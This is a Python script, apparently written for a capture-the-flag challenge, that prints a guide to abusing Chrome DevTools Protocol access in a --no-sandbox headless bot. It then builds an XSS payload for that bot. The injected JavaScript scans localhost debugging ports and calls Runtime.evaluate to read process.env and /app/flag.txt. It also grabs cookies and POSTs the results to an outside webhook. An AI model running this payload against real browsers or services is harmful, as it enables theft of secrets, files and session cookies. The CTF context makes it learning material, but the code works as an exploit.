#!/usr/bin/env python3
"""
COMPREHENSIVE CDP TEST SUITE
Run all CDP exploits in sequence to determine what's accessible

Based on ASIS CTF writeup and your friend's insight about --no-sandbox
"""

import urllib.parse
WEBHOOK = "https://webhook.site/YOUR-WEBHOOK-ID"  # Replace with your webhook

print("=" * 80)
print("CHROME DEVTOOLS PROTOCOL (CDP) EXPLOITATION GUIDE")
print("=" * 80)
print("\n📚 Background:")
print("   - The --no-sandbox flag in bot.py is the key hint")
print("   - It potentially allows access to Chrome's internal pages")
print("   - CDP can be used to read files, environment vars, execute code")
print("\n" + "=" * 80)
print("TESTING SEQUENCE")
print("=" * 80)
print("\n1️⃣  TEST DEBUGGING PORT (Run: CDP_EXPLOIT_2_debugging_port.py)")
print("   Checks if bot has --remote-debugging-port open")
print("   If found: You can use CDP over HTTP!")
print()
print("2️⃣  TEST chrome:// URL ACCESS (Run: CDP_EXPLOIT_3_chrome_urls.py)")
print("   Tests various chrome:// URLs for accessibility")
print("   Look for: chrome://inspect/#pages or chrome://devtools")
print()
print("3️⃣  TRY DIRECT NAVIGATION (Run: CDP_EXPLOIT_1_chrome_inspect.py)")
print("   Navigates directly to chrome://inspect/#pages")
print("   This might give you the DevTools interface")
print()
print("4️⃣  IMPORT DEVTOOLS MAIN.JS (Run: CDP_EXPLOIT_4_devtools_import.py)")
print("   Based on ASIS CTF solution")
print("   Tries to import Chrome's internal DevTools module")
print()
print("5️⃣  READ FLAG FILE (Run: CDP_EXPLOIT_5_read_file.py)")
print("   Once CDP access confirmed, reads /app/flag.txt")
print()
print("6️⃣  READ PROCESS ENV (Run: CDP_EXPLOIT_6_process_env.py)")
print("   Reads environment variables via CDP")
print("   FLAG might be in process.env.FLAG")
print("\n" + "=" * 80)
print("WHERE IS THE FLAG?")
print("=" * 80)
print("\n🔍 Most Likely Locations:")
print("   1. Environment variable: process.env.FLAG")
print("   2. File: /app/flag.txt or /flag.txt")
print("   3. Cookie set by bot (after CDP enables it)")
print("   4. In bot.py but accessible via CDP file read")
print()
print("💡 Key Insight from ASIS CTF:")
print("   The ASIS challenge used CDP to execute Node.js code")
print("   via Runtime.evaluate, which gave file system access")
print()
print("🎯 Why --no-sandbox Matters:")
print("   Normal Chrome blocks chrome:// URLs and CDP access")
print("   --no-sandbox removes these protections")
print("   This is why organizers said 'working as intended'")
print("\n" + "=" * 80)
print("QUICK START")
print("=" * 80)
print("\n1. Update WEBHOOK in all CDP_EXPLOIT_*.py files")
print("2. Run CDP_EXPLOIT_2_debugging_port.py first")
print("3. Check webhook for open debugging ports")
print("4. If found, use that port to send CDP commands directly")
print("5. If not found, try the chrome:// URL approach")
print("\n" + "=" * 80)

# Create a master exploit that tries everything
master_code = f"""
(async () => {{
    const results = {{timestamp: Date.now()}};
    
    // Test 1: Debugging Port
    results.debugPort = {{}};
    for (const port of [9222, 9223, 9224]) {{
        try {{
            const resp = await fetch(`http://localhost:${{port}}/json`, {{timeout: 1000}});
            results.debugPort[port] = await resp.text();
        }} catch(e) {{
            results.debugPort[port] = null;
        }}
    }}
    
    // Test 2: chrome:// URL access
    results.chromeUrls = {{}};
    try {{
        // Try to create iframe with chrome:// URL
        const iframe = document.createElement('iframe');
        iframe.src = 'chrome://version';
        document.body.appendChild(iframe);
        results.chromeUrls.iframeCreated = true;
    }} catch(e) {{
        results.chromeUrls.error = e.toString();
    }}
    
    // Test 3: Try to import DevTools
    results.devtools = {{}};
    try {{
        const Main = await import('/devtools/main/main.js');
        results.devtools.imported = true;
        results.devtools.keys = Object.keys(Main).slice(0, 10);
        
        // If import works, try to use CDP
        try {{
            const envResult = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'process.env'
            }});
            results.devtools.processEnv = envResult;
            
            // Try to read flag
            const flagResult = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'process.env.FLAG || require("fs").readFileSync("/app/flag.txt", "utf8")'
            }});
            results.devtools.FLAG = flagResult.result.value;
        }} catch(e) {{
            results.devtools.cdp_error = e.toString();
        }}
    }} catch(e) {{
        results.devtools.import_error = e.toString();
    }}
    
    // Test 4: Check document/window for any flag
    results.document = {{
        cookie: document.cookie,
        location: location.href,
        referrer: document.referrer
    }};
    
    results.window = {{}};
    for (let key in window) {{
        if (key.toLowerCase().includes('flag')) {{
            results.window[key] = String(window[key]);
        }}
    }}
    
    // Send results
    await fetch('{WEBHOOK}', {{
        method: 'POST',
        headers: {{'Content-Type': 'application/json'}},
        body: JSON.stringify(results, null, 2)
    }});
}})();
""".replace('\n', ' ')

encoded = urllib.parse.quote(master_code)
master_payload = f'''<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded}"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("\n🚀 MASTER PAYLOAD (Tests Everything at Once)")
print("=" * 80)
print(master_payload)
print("=" * 80)
print("\nThis single payload tests all CDP vectors simultaneously")
print("Check your webhook for results!")
print("=" * 80)
